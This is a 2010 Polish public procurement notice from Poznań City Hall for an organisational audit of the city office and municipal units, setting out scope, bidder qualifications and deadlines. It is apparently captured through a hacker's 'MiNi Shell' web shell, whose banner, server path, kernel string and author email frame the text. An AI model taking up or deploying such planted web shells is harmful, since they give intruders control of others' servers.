Devil Killer Is Here MiNi Shell
MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20100902/
Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Current File : /home/vmanager/www/common/web/tenders/20100902/275232-N-2010.html
<p class="kh_header"><b>Poznań: Audyt organizacyjny Urzędu Miasta Poznania i Miejskich Jednostek Organizacyjnych</b><br>
<b>Numer ogłoszenia: 275232 - 2010; data zamieszczenia: 02.09.2010</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Urząd Miasta Poznań , Plac Kolegiacki 17, 61-841 Poznań, woj. wielkopolskie, tel. 061 8785210, faks 061 8785210.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> http://bip.city.poznan.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Audyt organizacyjny Urzędu Miasta Poznania i Miejskich Jednostek Organizacyjnych.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest przeprowadzenie audytu organizacyjnego Urzędu Miasta Poznania i Miejskich Jednostek Organizacyjnych oraz dokonanie oceny efektywności funkcjonowania Urzędu Miasta Poznania i Miejskich Jednostek Organizacyjnych, obowiązujących procedur oraz zdolności do realizacji celów, w perspektywie realizacji nowej strategii rozwoju Miasta Poznania do roku 2030, zgodnie z harmonogramem, który wykonawca będzie zobowiązany przedłożyć zamawiającemu do akceptacji w terminie 7 dni roboczych od dnia zawarcia umowy.  

Audyt musi być przeprowadzony zgodnie z Międzynarodowymi Standardami Profesjonalnej Praktyki Audytu Wewnętrznego opracowanymi przez Institiute of Internal Auditors, jako standardy audytu wewnętrznego w jednostkach sektora finansów publicznych, stanowiącymi załącznik do komunikatu Nr 8 Ministra Finansów z dnia 20 kwietnia 2010 r. (Dz.Urz.MF Nr 5, poz. 24) i zgodnie z metodyką zarządzania projektem PRINCE 2 oraz z wykorzystaniem aplikacji MS Project.
Przedmiot umowy będzie realizowany w trzech etapach. I etap (część diagnostyczna) kończy się sporządzeniem Raportu z diagnozy, II etap (część normatywna zawierająca analizy, wnioski i zalecenia) kończy się sporządzeniem Raportu z części normatywnej natomiast etap III kończy się sporządzeniem Raportu końcowego, który będzie zawierał: wynik łączny etapu I i etapu II, a także różne metody dojścia do stanu docelowego oraz wskazanie rekomendowanej metody dobranej w oparciu o wielokryterialną metodykę wspomagania decyzji.
Ponadto Raport końcowy musi zawierać:
-opinię audytora w zakresie badania,
-szczegółowy opis ustaleń,
-analizę przyczyn i skutków ewentualnych nieprawidłowości,
-kryteria i standardy, w oparciu o które audyt został przeprowadzony,
-metodykę doboru danych poddawanych ocenom z uzasadnieniem wyboru metodyki,
-działania, jakie należy podjąć aby osiągnąć stan docelowy wraz ze wskaźnikami, miernikami realizacji celów,
-dobre praktyki tj. musi wskazywać podmioty, w których stan docelowy został osiągnięty,
-nakłady, jakie należy ponieść aby osiągnąć stan docelowy,
-adresowane problemy tzn. problemy, które utrudniają osiągnięcie stanu docelowego,
-adresatów tzn. jednostki/komórki/osoby, które powinny podjąć działania,
-efekty, które Miasto uzyska po wprowadzeniu wskazanych przez Wykonawcę działań,
-horyzont czasowy osiągnięcia stanu docelowego,
Przejście do etapu następnego może nastąpić po pisemnej akceptacji zamawiającego. 
Wszelkie dokumenty robocze wytworzone w trakcie audytu są własnością  Miasta Poznania i zostaną przekazane wraz z Raportem końcowym do Biura Audytu Wewnętrznego i Kontroli.
Po zakończeniu pierwszego etapu wykonawca przeprowadzi jednodniowe, wyjazdowe spotkanie, dla maksymalnie 30 osób, na którym zostanie omówiony Raport z diagnozy wraz z prezentacją wykonaną w programie Power Point.
Po zakończeniu drugiego etapu wykonawca przeprowadzi dwudniowe, wyjazdowe spotkanie (bez noclegu), dla maksymalnie 30 osób, na którym zostanie omówiony Raport z części normatywnej wraz z prezentacją wykonaną w programie Power Point.
Po zakończeniu trzeciego etapu wykonawca przeprowadzi jednodniowe, wyjazdowe spotkanie dla maksymalnie 30 osób, na którym zostanie omówiony Raport końcowy wraz z prezentacją wykonaną w programie Power Point.
W ramach organizacji spotkań wyjazdowych należy uwzględnić:
-koszty wynajmu sali wykładowej,
-transportu uczestników spotkań z pl. Kolegiackiego na miejsce spotkania i z powrotem,
-poczęstunek dla maksymalnie 30 uczestników spotkania w czasie przerw (kawa, herbata, woda mineralna, soki, wyroby cukiernicze),
-poczęstunek dla maksymalnie 30 uczestników spotkania w formie obiadu dwudaniowego (szwedzki stół - w podgrzewaczach- zupa, ziemniaki, frytki, mięso, warzywa).

Szczegółowy opis przedmiotu zamówienia, zgodnie z którym ma zostać wykonany audyt, w tym zakres, znajduje się w załączniku nr 1 do Instrukcji ( publikacja na stronie Zamawiającego).

Zamawiający dopuszcza możliwość powierzenia realizacji przedmiotu zamówienia podwykonawcom..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 79.21.20.00-3.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 15.12.2011.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający będzie wymagał wniesienia wadium w wysokości 12 000 zł.</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie definiuje szczegółowego opisu sposobu dokonywania oceny spełnienia tego warunku.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Posiadanie doświadczenia w zakresie wykonania z należytą starannością, co najmniej dwóch audytów organizacyjnych (w zakresie kultury organizacyjnej, struktur organizacyjnych i procedur, obsługi klientów indywidualnych, obsługi przedsiębiorstw i organizacji), w jednostkach samorządu terytorialnego, które zatrudniają co najmniej 500 osób z rozbudowaną strukturą organizacyjną tj. posiadającą co najmniej 15 komórek organizacyjnych (wydziałów, biur, oddziałów, referatów itp.) w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie,</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie definiuje szczegółowego opisu sposobu dokonywania oceny spełnienia tego warunku.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Dysponowanie zespołem przewidzianym do realizacji przedmiotu zamówienia liczącym minimum 13 osób w ramach którego:
- przynajmniej 6 osób (w tym kierownik projektu) posiada kwalifikacje do prowadzenia audytu wewnętrznego, o których mowa w art.286 ust.1 ustawy z dnia 27 sierpnia 2009 r. o finansach publicznych (Dz.U. Nr 156 poz. 1240),
-przynajmniej 6 osób odbyło szkolenie z zakresu zarządzania projektami PRINCE 2 oraz posiada umiejętność stosowania programu MS PROJECT,
-przynajmniej 2 osoby posiadają wykształcenie wyższe lub podyplomowe z zakresu zarządzania ,
-przynajmniej 2 osoby posiadają wykształcenie wyższe lub podyplomowe z zakresu administracji publicznej
-przynajmniej jedna osoba, która będzie kierownikiem projektu będzie legitymować się zdanym egzaminem z zakresu zarządzania projektami PRINCE 2,
-przynajmniej 6 osób przeprowadziło co najmniej  1 audyt organizacyjny (w zakresie kultury organizacyjnej, struktur organizacyjnych, strategii, realizacji celów), zrealizowany w jednostkach samorządu terytorialnego.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie definiuje szczegółowego opisu sposobu dokonywania oceny spełnienia tego warunku.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1)wypełniony i podpisany wniosek o dopuszczenie do udziału w postępowaniu- załącznik nr  2 do Instrukcji;
2)jeżeli zasady reprezentacji nie wynikają jednoznacznie z przedłożonych wypisów (odpisów), wymaga się złożenia dokumentu (w formie oryginału lub potwierdzonej notarialnie kopii-dotyczy wyłącznie pełnomocnictwa) wskazującego osobę uprawnioną do reprezentowania składającego ofertę;</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> negocjacje z ogłoszeniem.</p>
<p><b>IV.1.2) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu:</b> 5.</p>
<p class="bold">Znaczenie warunków wyboru wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu</p>
<p>Zamawiający po weryfikacji warunków udziału w postępowaniu określonych w pkt V Instrukcji, będzie kwalifikował wykonawców do następnego etapu postępowania na podstawie posiadanego doświadczenia zawodowego oraz liczby osób, które Wykonawca przewiduje do realizacji przedmiotu zamówienia.

Do udziału w postępowaniu zaproszeni zostaną wykonawcy, którzy:
-wykażą się największym doświadczeniem w zakresie wykonanych audytów organizacyjnych (w zakresie kultury organizacyjnej, struktur organizacyjnych 
i procedur, obsługi klientów indywidualnych, obsługi przedsiębiorstw i organizacji), 
w jednostkach samorządu terytorialnego, które zatrudniają co najmniej 500 osób z rozbudowaną strukturą organizacyjną tj. posiadającą co najmniej 15 komórek organizacyjnych (wydziałów, biur, oddziałów, referatów itp.), w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie,  (ponad określone minimum);
-zaproponują jak największą liczbę osób przewidzianych do realizacji zamówienia, spełniających warunki określone w pkt V.3.1. Instrukcji, (ponad określone minimum).

Wykonawca uzyska 1 pkt za każdy dodatkowy audyt (ponad określone minimum) i 1 pkt za każdą dodatkową osobę spełniającą wymogi określone w Instrukcji (ponad określone minimum).</p>
<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>- zmiany korzystne dla Zamawiającego- dotyczące w szczególności ceny,
-zmiany spowodowane przez okoliczności nie wywołane przez którąkolwiek ze Stron, ani przez nie zawinione i wywołujące ten skutek, że umowa nie może być wykonana wedle pierwotnej treści. Okoliczności powyższe odnosić się mogą w szczególności do wystąpienia zmian stanu prawnego, działań i zaniechań organów władzy publicznej, wystąpienia siły wyższej ( np. takiej jak wojna, akty terroryzmu, klęski żywiołowe, strajki) lub zdarzeń losowych.Wskazane okoliczności uzasadniać będą w szczególności zmianę terminu wykonania zamówienia i osób przeprowadzających audyt, zmianę określonej w umowie stawki podatku Vat.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> nie dotyczy<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Na stronie Zamawiającego ( http://bip.city.poznan.pl) opublikowana jest Instrukcja dla wykonawców dotycząca przygotowania wniosków o dopuszczenie do udziału w postępowaniu z załącznikami..</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 14.09.2010 godzina 12:00, miejsce: Urząd Miasta Poznania, Biuro Zamówień Publicznych, pl. Kolegiacki 17, 61-841 Poznań, pok. 446.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
Creat By MiNi SheLL
Email: jattceo@gmail.com